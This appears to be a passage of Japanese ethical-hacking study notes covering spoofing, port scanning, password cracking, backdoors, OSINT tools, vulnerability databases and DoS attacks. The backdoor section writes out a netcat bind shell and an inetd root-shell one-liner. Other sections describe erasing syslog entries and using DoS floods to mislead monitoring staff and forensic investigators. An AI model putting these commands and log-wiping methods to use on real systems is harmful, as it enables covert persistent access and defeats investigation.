対策: DHCPスヌーピングやDHCPガードなどのセキュリティ機能を有効にする

MACアドレスフィルタリングの回避

MACアドレスフィルタリングは接続端末をMACアドレスを使って制限する機能であり、WI-FI接続端末制限などによく使われる。 攻撃者は自身のMACアドレスを偽装してそれらを回避する。

ARPキャッシュポイズニング攻撃

ARPキャッシュポイズニング攻撃では攻撃者はARPを利用して、ネットワーク内のデバイスに対する偽のMACアドレス情報を提供し、トラフィックが自身のコンピュータに来るようにする。

内部的にはMACアドレスとIPアドレスの関係を紐づけるARP情報が保存されるARPキャッシュを汚染しパケットの送信先を変えるものとなっている。

対策: ARPキャッシュの監視やARPセキュア機能を有効にする

2.2.3. メールスプーフィング/フィッシング

2.2.3.1. メールスプーフィング

メールスプーフィングはメールを偽装して送信元のメールから来たように見せかける手法。 本文やメールヘッダ内の情報も偽装される。目的としては以下の通り。

  • マルウェアを添付しそのファイルを安全なものであると見せかけ開かせる
  • URLを記載しそのURLにアクセスするように仕向ける

2.2.3.2. フィッシング

フィッシングは悪意のあるWebサイトを用意しユーザをそこに誘導する攻撃のこと。 フィッシングの例は以下の通り。

  • 個人情報を入力するサイトを装い入力された情報を盗む
  • ログインページを装いログイン情報を盗む
  • 正規のダウンロードページを装いマルウェアをダウンロードさせる

2.2.4. DNSスプフィーング

DNSスプーフィング攻撃はユーザが行ったDNSへの問い合わせに対しての返答を偽装する攻撃のこと。 ドメインに該当するIPアドレスを偽装する。ドメインは正規のドメインになるためユーザは怪しまずにアクセスする可能性が上がる。 これらはファーミングと呼ばれ、以下の方法を用いて行われる。

  • DNSレスポンスポイズニング攻撃
  • DNSキャッシュポイズニング攻撃
  • 対象システムのHostsの書き換え
  • DGWやProxyの変更

など。

2.3. スキャニング技術

スキャニングは攻撃対象のホストが開いているポートを特定するために行うもの。 ポートスキャンでは以下の内容が確認できる。

  • 開いている/閉じているポート番号
  • FWにアクセス制限されているポートの情報
  • 開いているポートで稼働しているサービスに関する情報
  • OSに関する情報

ポートスキャン

2.3.1. 接続スキャン(コネクトスキャン)

直接ポートに接続を試みるスキャン

特徴は以下の通り。

  • 信頼性が高い
  • ログに残る

2.3.2. SYNスキャン(ハーフポートオープンスキャン)

SYNスキャンはTCPの3Wayハンドシェイクの通信の際にサーバから以下の信号が返ってくることを利用したスキャン方法。

信号意味
SYN/ACKポートが開いている
RSTポートが閉じている

SYN

この手法の特徴は以下の通り

  • 接続が確立しない
  • ログが残りにくい

2.3.3. TCPクローズドポートスキャン

TCPクローズドポートスキャンは接続開始時にSYNフラグ以外のフラグを付けたパケットを送りつけることによりスキャンする方法。 つまりRFCのTCPのルールを無視してパケット送信を試みる。

送信側が規定に沿わないパケットに立てられる制御フラグの種類によって種類分けできる。

この手法ではクローズドポートの反応を見てオープンポートを判別する。 つまり内部的には「クローズポートではない」=>「オープン」と判断する。

特徴としては以下の通り

  • すべてにポートを調査する必要
  • OSによりパケットに対する返送方法が異なる
  • 時間がかかる
  • パケットが通信経路で破棄される可能性があるため信頼性が低い
  • Windows OSには使えない

NULLスキャン

制御フラグを全く立てずに送信する

FINスキャン

FINフラグを立てて送信する(通常はデータ終わりを示す)

Xmasスキャン

FIN、URG、PUSHフラグを立てて送信する

ACKスキャン

ACKフラグを立てて送信する

特徴は以下の通り

  • FireWallの有無を調べることができる
  • 返送されたRSTを調べて判断する

2.3.3. IPIDスキャン(Idleスキャン)

IPIDスキャンはIPパケットにIPIDと呼ばれる値があることを利用した攻撃対象のサーバにIPアドレスを知らせないスキャン方法。 つまり身元を隠したスキャンが可能

IPIDはIPパケットを送信するたびに1つずつ増えていくもので、IPIDスキャンでは他のマシン(ゾンビマシン)にポートスキャンをさせる。 内部的にはSYNスキャン行い、ゾンビマシンのIPIDを調べることでポートスキャンでのオープン/クローズを調べるものとなる。

この手法はゾンビマシンが他のホストと頻繁に通信を行い場合、IPIDが予測通りにならない問題がある。

IPID

特徴は以下の通り。

  • ゾンビマシンの選定が重要
    • パケットを頻繁にやり取りしているマシンだとIPIDがずれやすいため
    • IPIDはパケット送信のたびに増える
  • ターゲットに攻撃機のログがほとんど残らない

2.3.4. UDPスキャン

UDPスキャンはポートが閉じている場合ICMPのPort Unreachableが到着する性質を使ってスキャンを行う。 あまり使用されない。

2.3.5. リストスキャン

リストスキャンはDNSの情報取集の代わりに使用できるもの。

2.4. 認証システムの突破

2.4.1. 認証の基礎知識

認証要素と多要素認証

認証する要素は知識要素所有要素生体要素の3つに分類される。 多要素認証は認証の際に上記3つのうちの2つを認証に用いる認証方法のこと。

  • 知識要素 … パスワード、PINコードなど
  • 所有要素 … SMS認証、アプリ認証、ワンタイムトークンなど
  • 生体認証 … 指紋、虹彩など

パスワード認証

認証にユーザ名/パスワードの2つの知識要素を用いた単要素認証。

2.4.2. パスワードクラック

認証要素におけるパスワードを求めるハッキング手法。 方法は大きく分けると以下の3つがある。

  • ブルートフォースアタック(総当たり攻撃)
  • 推測攻撃
  • 辞書攻撃

またパスワード認証を突破するには以下のことを考慮することが重要になる。

  • 脆弱性を確定できないことが多い
  • 直接認証突破の失敗はログとして残る
  • 事前の情報収集が重要

ブルートフォースアタック(総当たり攻撃)

考えられるパスワードのすべての組み合わせからあたりを探す手法。

推測攻撃

パスワードで推測可能なものから認証を試していく手法。

辞書攻撃

ユーザ名やパスワードに使用される言葉一覧辞書などを用いて総当たりしていく手法。

ハイブリッド攻撃

ブルートフォースアタック(総当たり攻撃)、推測攻撃、辞書攻撃の3つを組み合わせた攻撃手法。

2.4.3. パスワードクラックの種類

パスワードクラックは認証方法によってオンラインオフラインに分けられる。

  • オンライン
    • 実際のWEBの認証画面を用いる
    • APIなどを利用した認証
    • ネットワークの盗聴
  • オフライン
    • パスワード記録ファイルを盗み出しファイル解析を行う手法
    • 解析にはレインボテーブル攻撃を使用する

2.4.4. レインボテーブル攻撃

レインボー攻撃は用意した辞書の語句を保存されたパスワードと同じ方式でハッシュ化して比較しパスワードを求める攻撃のこと。 これは通常、パスワードは暗号化されたハッシュという方式で保存されるという性質を利用した攻撃となる。

レインボー攻撃

2.5. 脆弱性への攻撃

2.5.1. 脆弱性の有無の確認

脆弱性への攻撃は当然ながら攻撃対象システムの脆弱性を発見する必要がある。 判断は以下のステップで判断する。

  1. サーバのフットプリンティング
  2. 脆弱性の情報収集
  3. 攻撃が可能な脆弱性の発見

2.5.2. 脆弱性の攻撃方法

脆弱性の攻撃方法は攻撃によって異なる。

Metasploit Framework

Metasploit Frameworkはペネトレーションテストツールキット兼エクスプロイト開発プラットフォーム。 このソフトウェアはKali Linuxに付属している。

Metasploitは脆弱性情報の収集に利用可能でExploitモジュールなどもポータルサイトで検索可能となっている。

Metaploit https://www.rapid7.com/ja/products/metasploit/

2.6. 権限の昇格

2.6.1. 権限昇格

権限昇格はアクセス権取得フェーズにおけるユーザ権限までしか取得できなかった場合の管理者権限取得を目指すことを指す。

権限昇格の必要性

権限昇格は以下の内容を行うために行う。

  • バックドアの作成とその隠蔽
  • 痕跡の消去
  • ローカルからの攻撃

ローカルの攻撃の情報収集

ローカルにアクセスできるようになったら行うべき事は以下の通り。

  • 行うべき情報収集
    • 起動しているプロセスの確認(ps -aux)
    • 設定ファイルの確認
    • コマンドによるバージョンの取得
  • ローカルで行える脆弱性に対する攻撃
    • MetasploitよりもCVEなどに乗っている
    • リモートではないローカルに関して見直す
    • 攻撃スクリプトをローカルで実行する

2.7. アクセス権の維持

2.7.1. アクセス権の維持

アクセス権の維持はいつでもそのホストにアクセスできるようにすることことを指す。

アクセス権の維持の必要性

アクセス権の維持は以下の観点から行われる。

  • 認証突破した場合に複雑な認証を再設定される可能性があるため
  • 脆弱性突破した場合にその脆弱性が修正されてしまう可能性があるため
  • 再攻撃か厳しい場合(バッファオーバフローなど)
  • 権限昇格までの手順が複雑だった場合

2.7.2. バックドア

バックドアとは

正規の手続きを踏まずに内部に入ることのできる侵入口のこと。

バックドアのタイプ

バックドアのタイプは以下のようなものがある。

  • 開発設計段階で組み込まれるもの(脆弱性) … 開発者がテスト/デバック用に組み込んだもの(リリース時に削除し忘れる)
  • 開発者が意図して作ったもの … 仕様外のデバック用の目的に仕込んだもの
  • 政府の諜報機関用のもの … CALEAという米国内の法律によりバックドアが設けられている
  • 攻撃者に仕込まれたもの … 攻撃者がアクセス維持のために設けたもの

2.7.3.バックドアの種類

アクセス維持のために攻撃者が仕込むバックドアの種類は以下のようなものがある。

  • ユーザアカウントの追加
  • 既存サービスの起動
  • サービスの追加
  • ルートキット

ユーザアカウントの追加

認証系に新しいユーザの作成とそれに管理者権限を与えるというもの。

特徴は以下の通り。

  • ファイルに記述が残るので隠ぺいが難しい
  • ログインがログに残る

既存サービスの起動

すでにOSに用意されているサービスを利用してバックドアを作成するというもの。

サービス説明コマンド
Netcat汎用TCP/UDP接続CLIツールnc -l -e /bin/sh -p <待ち受けポート>
inted, Xinetdなどスーパサーバデーモンecho '7777 stream tcp nowait root /bin/sh sh -i > /tmp/.x;/usr/sbin/inetd -s /tmp/.x;rm -f /tmp/.x(intedで7777/tcpへのアクセスでrootで/bin/shを起動)
認証系サービス(rsh, rlogin,rcmdなど)停止されているサービスを動かすservice --status-allで確認、service <サービス名> startで起動

ルートキット(rootkit)

ルートキットはアクセス維持のために使用されるツールセットのこと。 含まれるのは以下のようなものがある。

  • バックドア
  • スニファ
  • キーロガー
  • 隠ぺい手段

また種類にはアプリケーションレベルカーネルレベルの2種に分けられる。

種類説明
アプリケーションレベルバックドアを既存サービスに隠ぺいするもの(ps, netcatなど)
カーネルレベルカーネルを改変するもの(LKMなど)、システムカーネルの改変による隠ぺい

サービスの追加

yumapt-getなどでサービスをインストールする。

2.7.4. バックドアの隠ぺい

バックドアは管理者に見つからないようにする必要がある。 そのためには名前をごまかす、既存サービスのファイルの改ざんなどを行う。

またLKM型ルートキットを使用する方法もある。

バックドアは特性上ポートのListenが必要となる。 そのためポートスキャンなどでわかってしまう場合がある。 その対策としてはトリガー時のみにポートをListenするなどの工夫が必要になる

ルートキットの検出

ルートキットの検出は以下のようなことで可能となる。

  • HIDSなどによる整合性チェック
  • ルートキットの検出プログラムの使用
    • chkrootkit(Linux)
    • rkhunter(Linux)
    • BlackLight(Windows)
    • RootkitReveler(Windows)

2.7. 痕跡の処理

2.7.1. 後処理の必要性

後処理はアクセスの際に残ったログの消去や、攻撃の際に作成した設定ファイルやツールの消去などが該当する。

  • アクセスログの消去
  • 作成ファイルや一時ファイルの削除
  • Cookieなどの痕跡の消去
  • 設定変更したファイルを元に戻す

これらにより露見した際の追跡阻害や完全犯罪を試みる。

2.7.2. 後処理の注意

後処理には管理者権限が必要となる。 注意点は以下の通り。

  • 作業漏れ(触ったところを覚えておく)しないように
  • ログの設定の確認
    • 外部のサーバにログ転送しているケースもある

2.7.3. ログの種類

アプリケーションやOSのログの種類はテキストデータとバイナリデータの2種類がある。

テキストの例は以下の通り。

  • syslog … ログメッセージをIPネットワークで転送する標準規格(Linuxではrsyslogが標準)
  • Apacheログ

バイナリの例は以下の通り。

  • lastlog
  • Windowsイベントログ

ログ消去のポイント

  • syslogの場合
    • 該当IPアドレスに記載されているPIDを抜き出し、PIDに対してsedコマンドで削除する
  • バイナリログの場合
    • metasploitの場合はmeterpreterのログ消去コマンドを使用

2.7.4. カモフラージュ

権限昇格ができなかった場合ログを塗りつぶすことで調査の拡散を行う。

ログの塗りつぶし

まずログが記録するイベントを把握する必要がある。 またその際にIPアドレスは偽装できるとよいとされる。

7.3 - 3.情報収集

Recon(情報収集)/OSINTに関する解説

3.1. 情報収集の目的

情報収集では攻撃を行うために必要な情報を集める。

集める情報はターゲットにより異なり、集めるべき情報は何かその時々にならないとわからない。 そのため情報収集は繰り返し行い、情報を常に深堀して調べることが重要となる。

攻撃に必要な情報は以下のようにして集める

  1. 自ら公開されている情報/意図せずに第三者が公開している情報から集める
  2. 直接ホストにアクセスする
  3. 検索エンジン/SNSを駆使する
  4. ソーシャルエンジニアリングを用いる

3.2. 情報収集の手法

情報収集の手法は受動的情報収集能動的情報取集の大きく2つある。

手法説明法的準拠
受動的情報収集攻撃対象が提供している情報を収集ほとんどの場合は合法
能動的情報収集攻撃対象に直接アクセス/コマンドを打ち込む状況によって非合法

またハッキングではOSINT(Open-Source Intelligence)と呼ばれる合法的に入手できる資料を調べて突き合わせる手法が情報収集の基本となる。

3.3. 公開情報の収集

3.3.1. 公開している情報

公開している情報の例としては以下のようなものがある。

  • ホームページ/ブログ
    • DNS情報/WHOIS情報
    • ドメイン/ネットワーク
    • 会社の所在地/役員・社員名
    • 電話番号/連絡用メールアドレス
    • 取引先情報
    • IR/投資家向け情報
    • HTML/画像などのメタファイル
  • SNS
    • フォロワー
    • 発信内容
  • その他の媒体
    • メディアの記事(ニュースサイト、まとめサイトなど)
    • 第3者の運営するWebサービス(ネット掲示板など)
    • ナレッジデータベース(Wikipediaなど)
    • 求職情報

3.3.1.1. 検索エンジンの活用

検索エンジンでの「AND検索」「OR検索」「NOT検索」「フレーズ検索」などの活用はもちろん、Googleの検索エンジンを利用する場合はGoogle Dorkと呼ばれる特殊検索クエリによる検索なども利用される。

GoogleDorkは特定のウェブサイトの特定のページやドキュメント、特定のファイル形式(PDF、DOC、XLSなど)、ディレクトリ、脆弱性などを見つけるために使用される。

参考: https://www.exploit-db.com/google-hacking-database … Google Dorksでの使用に役立つ特殊検索クエリを紹介しているサイト

3.3.1.2. ソーシャルエンジニアリング

ソーシャルエンジニアリングは実際に関係者を装い情報を盗み出す手法。 パスワード入力の盗み見などのショルダーハッキングやごみ箱をあさって書類を盗み見ることなどが含まれる。

また、実際に物理的な移動を伴う場合や人物との接触なども含まれる。

3.4. ネットワークの情報収集

ネットワークの情報収集ではドメインやDNSサーバの情報、IPアドレスなどを取得する。

3.4.1. ドメインから得られる情報

ドメインからIPアドレスを調べるにはnslookupコマンドなどで可能となる。 またWHOIS情報を取得する方法もある。

3.4.2. IPアドレスから得られる情報

IPアドレスはNICと呼ばれる団体が管理しており、そのドメイン傘下のJPNICが日本国内の.jpを管理している。 WHOIS情報からは調べたサーバのIPアドレスを含むネットワーク範囲などを求めることができる。

JPNIC: https://www.nic.ad.jp/ja/whois/ja-gateway.html

ICANN Lookup:https://lookup.icann.org/en

3.5. サーバの情報収集

サーバへ直接アクセスするのはやり方によっては不正アクセスと認識される場合がある。 セキュリティの観点から直接サーバにアクセスすることは重要となる。

3.5.1. Ping/traceroute(tracert)

pingは疎通確認用のコマンドでtraceroute(tracert)は通信経路を調べられるコマンド。 traceroute(tracert)は接続経路を調べられるコマンド。

pingはICMPを利用する。 traceroute(tracert)はWindowsの場合はICMP、Linuxの場合はデフォルトではUDPが使用される。

3.5.2. コマンドを利用したネットワーク構成の推測

上記コマンドを駆使することでネットワーク構成の推測が行える。 ただし推測できるのは論理構成のみで物理構成は推測ができない

windowsとLinuxでの通信経路を調べる際に使用されるプロトコルの違いなどもその際に利用できる。

基本手順は以下の通り。

  1. traceroute/tracertでターゲットまでの経路を確認
  2. ターゲットホストとその1つ前のネットワークに注目
  3. その1つ前のネットワークのエッジ(最初のアドレス)内に境界ルータ/FWがある
  4. 各スキャンで得られるIPアドレスの情報(192.168.XXX.XXXや通常アドレスなどの構成)からネットワークやホストを推測する
  5. 1~4を様々なスキャンで繰り返す

3.5.2. ポートスキャン

ポートスキャンはサーバの提供するサービスのポートのどこが開いているかを探ること。 ポートの数は065535まであり、手動でやるのは得策ではない。(一般的にはWellknownPort(01023)を使用する) そのためツールの類を使ってスキャンを行う。 しかしポートスキャンをかけると特徴的なログが残るためサーバ管理者に攻撃やスキャンの兆候を知らせることになる。

ポートに対して接続を試みる方法としてはコネクトスキャンというものが存在する。 この手法は対象サーバにログが残るため検出されやすいという欠点がある。

ポートスキャンでは以下の内容が確認できる。

  • 開いている/閉じているポート番号
  • FWにアクセス制限されているポートの情報
  • 開いているポートで稼働しているサービスに関する情報
  • OSに関する情報

またスキャンの際に察知されないようにスキャンする方法はいくつかあり以下のようなものがある。

  • SYNスキャン(ハーフオープンスキャン)
  • TCPクローズドポートスキャン
  • IPIDスキャン

3.5.3. サーバのフットプリンティング

サーバにおけるフットプリンティングはサーバで提供しているサービスのホスト情報を収集することを言う。 フットプリンティングを行うには開いているポートの情報とIPアドレスが必要となる。

フットプリンティングの方法は以下の通り

  1. 開いているポートにtelnet/netcatでアクセスを試みる(telnet <IPアドレス> <ポート番号>)
  2. 返ってきたバナーの情報からサーバ/サービスのバージョン情報などを取得する

なおバナーがでないポートなどもある。 またtelnetのアクセスでバナーが返却されるサービスは以下の通り。

サービスポート
ftp21/tcp
ssh22/tcp
telnet23/tcp
smtp25/tcp
pop3110/tcp

またHTTPでの接続でバナーを表示する場合はtelnet接続後にHEAD / HTTP/1.0入力後に改行を2回送信する必要。 HTTPSでの接続でバナーを表示する場合はopenssl s_client -host <IPアドレス> -port <ポート番号>をtelnetの代わりにに入力しHTTPと同じ手法でアクセスする必要がある。

3.6. 脆弱性診断の情報収集

3.6.1. 脆弱性情報の入手先

脆弱性情報の公開もとには以下のようなものがある。

  • 開発/販売ベンダーが公開している情報
  • JVN/CVEなどの機関が公開している情報
  • Exploit DBやRapid 7などのセキュリティ企業/団体が公開している情報
  • 有志/ハッカにより公開している情報

3.6.2. CVE(Common Vulnerabilities and Exposures)

CVEは米国の非営利団体MIRTEが運営する共通脆弱性識別子というインシデントに固有番号を付けて管理する仕組み。 管理方法はCVECANの2種類がある。

例) CVE-2018-21003

  • CVE … 確定した脆弱性
  • CAN … 脆弱性の可能性

CVE - 公式サイト

3.6.3. CVSS(Common Vulnerability Scoring System)

CVSSはFIRSTが推進する脆弱性評価システムのこと。 CVSSにより脆弱性の深刻度を同一基準化で定量的に比較することが可能となっている。

評価基準は以下の3つある。

  • 基本評価基準 … 脆弱性時代の特性評価
  • 現状評価基準 … 上記に配布パッチの効果を含めた評価
  • 環境評価基準 … ユーザへの影響度を含めた評価

共通脆弱性評価システムCVSS : https://www.ipa.go.jp/security/vuln/scap/cvss.html

共通脆弱性評価システム計算機 : https://jvndb.jvn.jp/cvss/ja/v31.html

基本評価基準

項目内容
攻撃元区分(AV)ローカル / 隣接ネットワーク / ネットワーク / 物理
攻撃条件複雑度(AC)高 / 中 / 低
攻撃前認証認否(Au)複数 / 単一 / 不要
機密性への影響(C)なし / 部分的 / 全面的
完全性への影響(I)なし / 部分的 / 全面的
可用性への影響(A)なし / 部分的 / 全面的

現状評価基準

項目内容
攻撃される可能性(E)未実証 / 実証可能 / 攻撃可能 / 容易に攻撃可能
利用可能な対策レベル(RL)正式 / 暫定 / 非公式 / なし
脆弱性情報の信頼性(RC)未確認 / 未検証 / 確認済

環境評価基準

項目内容
緩和策後の攻撃元区分(MAV)ローカル / 隣接ネットワーク / ネットワーク / 物理
緩和策後の攻撃条件複雑度(MAC)高 / 中 / 低
緩和策後の攻撃に必要な特権レベル(MPR)複数 / 低 / 高
緩和策後の利用者の関与(MUI)不要 / 要
緩和策後の影響の想定範囲(MS)変更なし / 変更あり
機密性への要求度(CR)なし / 部分的 / 全面的
完全性への要求度(IR)なし / 部分的 / 全面的
可用性への要求度(AR)なし / 部分的 / 全面的

3.6.4. NVD(National Vulnerability Database)

NVDは米国国立標準研究所(NIST)が管理する脆弱性データベース。 CVSSと呼ばれる危険度の採点があるのが特徴となっている。

NVD - 公式サイト

3.6.5. JVN / JVN iPedia

日本国内の脆弱性管理基盤。JPCERT/CTTとIPAが共同運営している。 JVNとJVN iPediaは以下のような違いがある。

  • JVN … 早期周知
  • JVN iPedia … 蓄積と共有

JVN - 公式サイト

JVNiPedia - 公式サイト

3.6.6. Rapid 7 / Explot Database

Metasploitと呼ばれる脆弱性診断プラットホームのモジュールの検索と脆弱性検索が行えるデータベース

Exploit Database - 公式サイト

Rapid 7

3.7. 情報収集ツール/サービス一覧

3.7.1. OSINTツール

OSINTで役立つWebサービスやツールを記載する。

名称URL分類説明
OSINT Frameworkhttps://osintframework.com/WebサイトOSINTツールの紹介ページ
Google Hacking Databasehttps://www.exploit-db.com/google-hacking-databaseWebサイトGoogle Dorksでの使用に役立つ検索コマンドを紹介しているサイト
Netcraft Site Reporthttps://sitereport.netcraft.com/WebサイトWebサイトがどこのサーバーで管理されてるか調査・確認できるサービス
Shodan.iohttps://www.shodan.io/Webサイトインターネットに公開されたデバイスの中からポートが開放されている機器を調べることのできるサイト
Censys.iohttps://search.censys.io/WebサイトグローバルIPアドレスから該当サーバーで利用できるプロトコルを調査したり、サーバー証明書を検索することができる
TinEyehttps://tineye.com/Webサイトウェブ上で似た画像を特定しその情報や出典を調査できるサイト
SPOKEOhttps://www.spokeo.com/Webサイト人物情報を収集し提供するオンラインプラットフォーム
Maltegohttps://www.maltego.com/ソフトウェアインターネット上の情報を収集して関連性を可視化するアプリ
theHarvesterhttps://github.com/laramies/theHarvesterCLIツール主に電子メールアドレスやドメインに関連する情報を収集し組織や個人のデータを見つけることのできるツール
Recon-nghttps://github.com/lanmaster53/recon-ngCLIツールウェブ上から情報を収集し分析するためのツール。脆弱性評価や攻撃可能性の調査、組織や個人のプロファイリングなどで使用される。
SpiderFoothttps://github.com/smicallef/spiderfootCLIツールインターネット上の情報を収集するツール。これで集めた情報はネットワークの脆弱性やリスクを評価するために使用される。
CREEPYhttps://github.com/ilektrojohn/creepyソフトウェアソーシャルメディアを中心にインターネット上から個人の情報を収集するツール
Metagoofilhttps://github.com/opsdisk/metagoofilCLIツールウェブ上からメタデータを収集するために使用されるツール。情報のリークや組織のデジタルフットプリントを評価するのに使用される。
FOCAhttps://github.com/ElevenPaths/FOCACLIツールウェブサイトからメタデータを取得し組織や個人のプロファイリングするツール
SKIPTRACERhttps://github.com/xillwillx/skiptracerCLIツール人物情報を収集して関連性を分析するツール

その他の国内の情報取得に役立つサービス/情報源を以下に記載する。

名称URL
GoogleMapshttps://www.google.com/maps
ネット電話帳 - 住所でポン!https://jpon.xyz/
電話番号検索https://www.jpnumber.com/
ZipCode Japanhttps://zipcode-jp.com/modules/zipcode/

3.7.2. ダークウェブ向けOSINTツール

ダークウェブ向けのOSINTツールは以下。

名称URL説明
TorBothttps://github.com/DedSecInside/TorBot.onionクローラとして動作しダークウェブ上から情報収集を行う
DarkScrapehttps://github.com/itsmehacker/DarkScrapeTorサイトでメディアリンクを見つけるためのOSINTツール
FreshOnionhttps://github.com/dirtyfilthy/freshonions-torscraper非表示サービスの発見などが行える
Onionhttps://github.com/k4m4/onioffDeep Web URLを調査するために設計されたツール
TorCrawlhttps://github.com/james04gr/TorCrawl.pyTor上の隠されたサービスをナビゲートとコード抽出に使用可能
Photonhttps://github.com/s0md3v/PhotonディープウェブのURLを探索するためのPythonベースの簡単なツール
Hakrawlerhttps://github.com/hakluke/hakrawlerWeb アプリケーションクローラ。Webアプリケーション内のエンドポイントを識別できる
OSINT-SPYhttps://github.com/SharadKumar97/OSINT-SPYOSINTツール
Gasmaskhttps://github.com/twelvesec/gasmaskペネトレーションテスタ向けの包括的なOSINT情報収集ツール
h8mailhttps://github.com/khast3x/h8mail電子メールOSINTおよびパスワード侵害ハンティングツール
Skiptracerhttps://github.com/xillwillx/skiptracerOSINTスクレイピングフレームワーク
FinalReconhttps://github.com/thewhiteh4t/FinalReconWeb偵察OSINTツール

3.7.3. スキャニングツール

名称URL分類説明
ネットワーク系コマンド-CLIツールping,tracerouteなどのネットワーク系コマンド
NetCat(コマンド)https://github.com/opsdisk/metagoofilCLIツールTCP/UDP接続が行えるツール。Linux/Windowsに標準搭載されている。
NMaphttps://nmap.org/man/ja/index.htmlCLIツールポートスキャン用ツール

3.7.4. 脆弱性情報源

脆弱性の情報を公開している情報源となるサイトを以下に記載する。

名称URL説明
NVDhttps://nvd.nist.gov/脆弱性管理データの米国政府リポジトリ
JVNhttps://jvn.jp/日本の全国的な脆弱性データベース
CVEhttps://cve.mitre.org/CVE(共通脆弱性識別子)に基づいた脆弱性のデータベース化したもの
CVE Listhttps://www.cve.org/CVE List
Exploit DBhttps://www.exploit-db.com/脆弱性エクスプロイト・アーカイブ
Rapid 7https://www.rapid7.com/db/脆弱性検索エンジン
CX Securityhttps://cxsecurity.com/exploit/最新のエクスプロイトに直接アクセスでき検索できるデータベース
Vulnerability Labhttps://www.vulnerability-lab.com/エクスプロイトや PoC を備えた大規模な脆弱性データベース
Packet Storm Securityhttps://packetstormsecurity.com/files/tags/exploit/脆弱性や勧告の共有に特化したエクスプロイト コミュニティ

7.4 - 4.DoS攻撃/DDoS攻撃

サービス拒否攻撃(Dos/DDos)に関する解説

4.1. DoS攻撃の基礎

4.1.1. DoS攻撃とは

DoS(Denial of Service)攻撃(サービス拒否攻撃)はユーザによるシステムに対するアクセスを低下/制限、阻害する攻撃のこと。 攻撃対象はホストだけではなくネットワークも対象となる。

4.1.2. DoS攻撃の攻撃対象

DoS攻撃はターゲットに対する経済的損失や信用失墜を目的とした攻撃となる。 つまりサービス提供機能への損害を目的としている。 そのため企業などの営利組織のホストやネットワークが攻撃される傾向がある。

4.1.3. DoS攻撃の特徴

DoS攻撃は攻撃の有効性を上げるために通信が工夫されているため通信パターンにわかりやすいシグネチャ(特徴)がある。 そのためIDS/IPSやFWなどの侵入検知に引っ掛かりやすい

そのためDoS攻撃は見つかりやすくとても防がれやすい。 この上記性質を生かして監視や分析(フォレンジック)を行う人員の目をごまかすのには使用できるという面もある。

運用監視者オペレータの対応への応用

システム運用監視オペレータは大規模なシステムだと24時間システムを監視している。 DoS攻撃などがあるとIDSなどが検知してアラートが鳴る

その際彼らは対応業務に追われることになり、その際の対応手順が複雑で頻度が多い場合は監視レベルを下げることをする可能性もある。(実際これを行うのは邪道) つまりアラートや該当する項目を監視しないようにするなどを行う可能性がある。これを繰り返すことでセキュリティホールの多いシステムとシステム管理者側にさせるという方法として使えたりもする。

また常にアラートを鳴らさせることによりカモフラージュとして使用するということも使えたりもする。

フォレンジック調査員の対応への応用

これは無意味なログでログを埋めることでフォレンジック調査の手間を増やすというもの。 またIPアドレスの偽装をすることで捜査を攪拌することもできる。

またこの際に捜査に時間をかけさせることによりログの保管期限を過ぎることを狙うこともできる。

後処理段階でDoS攻撃を活用する

DoS攻撃は権限昇格できない場合の痕跡消去としても利用できる。

これはログを塗りつぶすことでログを汚すことが根本になる。 そのためIPスプーフィングがとても重要となる。

4.2. DoS攻撃の種類

DoS攻撃は攻撃対象から以下のタイプに分類される。

  • 帯域幅消費タイプ
  • システムリソース消費タイプ
  • アプリケーションのロジックエラータイプ

4.2.1. 帯域幅消費タイプ

帯域幅消費タイプではネットワークやサービスの帯域幅を大量のリクエストを送ることにより消費させるタイプの攻撃。

このタイプは現在では多くのシステムが対応されているため、そのまま使うのは難しい。 そのためこの手法で行う場合は様々な工夫が必要となる。

4.2.2. システムリソース消費タイプ

システムリソース消費タイプはシステムのリクエストを処理する能力やロジックの不備を突いてシステムのリソース/CPUに過剰負荷をかけるタイプの攻撃。

4.2.3. アプリケーションのロジックエラータイプ

アプリケーションのロジックエラータイプではアプリケーションのロジックエラーをついて無限ループや過剰な負荷をかけるタイプの攻撃。

4.3. DoS攻撃とIPスプーフィング

DoS攻撃においてIPスプーフィングはとても重要になる。 これは攻撃元の特定を阻害、攻撃の効果を増加させるのに効果的である。

またDoS攻撃は攻撃のカモフラージュや捜査誘導、痕跡の消去を目的として使われる場合がある。

4.4. DoS攻撃のメカニズム

4.4.1. 帯域幅消費型DoS攻撃

帯域幅消費型DoS攻撃は通常のリクエストやパケットを大量に送り付けることで帯域を消費させる攻撃のこと。 この手法は通常、1~2台の少ないホストでこの攻撃を試みても企業などの運営する大規模サーバでは対応されて攻撃が難しいという問題がある。 そこで攻撃を有効的にするためのアプローチとして以下の方法がある。

  • 送信するパケットや送信方法を工夫する
  • 1台ではなく複数台で送信する(DDos攻撃)

この攻撃には以下攻撃が含まれる。

  • SYNフラッド攻撃
  • ICMPフラッド攻撃
  • UDPフラッド攻撃
  • ARPフラッド攻撃
  • IPアドレス増幅攻撃
  • PING OF DEATH攻撃

4.4.2. SYNフラッド攻撃

SYNフラッド攻撃はTCPの3ウェイハンドシェイクを悪用した攻撃手法。

これはサーバ側がTCPの接続要求を受け取った際にTCP+ACK信号を返すが、そのときに接続テーブル上にACKが戻ってくるまでそこにバッファとして待機させることを悪用したものである。これはデフォルトでは75秒間保存される。 攻撃者側はこの際にACK信号を返さないようにするため、相手のサーバは接続テーブル上にデータを確保したままとなる。 この確保している間に攻撃者は新しくTCP+ACKを送り、同様に接続テーブルを確保させる。 これを繰り返すことにより接続テーブルを圧迫し、繋がらないようにするのがこの攻撃の仕組みとなっている。

そのためこの攻撃はSYNフラグを送り続ける必要IPアドレスを偽装してSYNフラグを送り付ける必要がある。 これは接続テーブルが既存に確保したIPアドレスからのTCP通信要求だと接続を確保しないためである。

4.4.3. 増幅系攻撃

増幅系攻撃は偽装したIPアドレスにより特定のネットワーク内での応答を増幅させる攻撃手法。 この攻撃はICMPやUDP/TCPなどの様々なプロトコルに応用できる。

ICMP/ARP/UDPフラッド攻撃

ICMP/ARP/UDPフラッド攻撃はブロードキャストする性質を悪用した攻撃手法。 具体的にはICMP場合は攻撃対象の内部ネットワークのすべてに対して送信元をネットワークのエッジノードのIPアドレスに偽装したpingを送り、その際に返るエコー応答がネットワークのエッジノードに集中的に返ってくることを悪用したものとなる。 このときエコー要求/エコー応答合わせて要求の2倍パケットを生成できる。つまり1つの攻撃でパケットが内部ネットワークのホスト数2倍のパケットを生成するため非常に効率が良いものとなっている。

この場合は例えばネットワークのエッジノードが192.168.1.1の場合、攻撃者は送信元IPアドレスを192.168.1.1に偽装して192.168.1.0/24などネットワーク全体(ネットワーク内部マシンすべて)にPingを送るということになる。

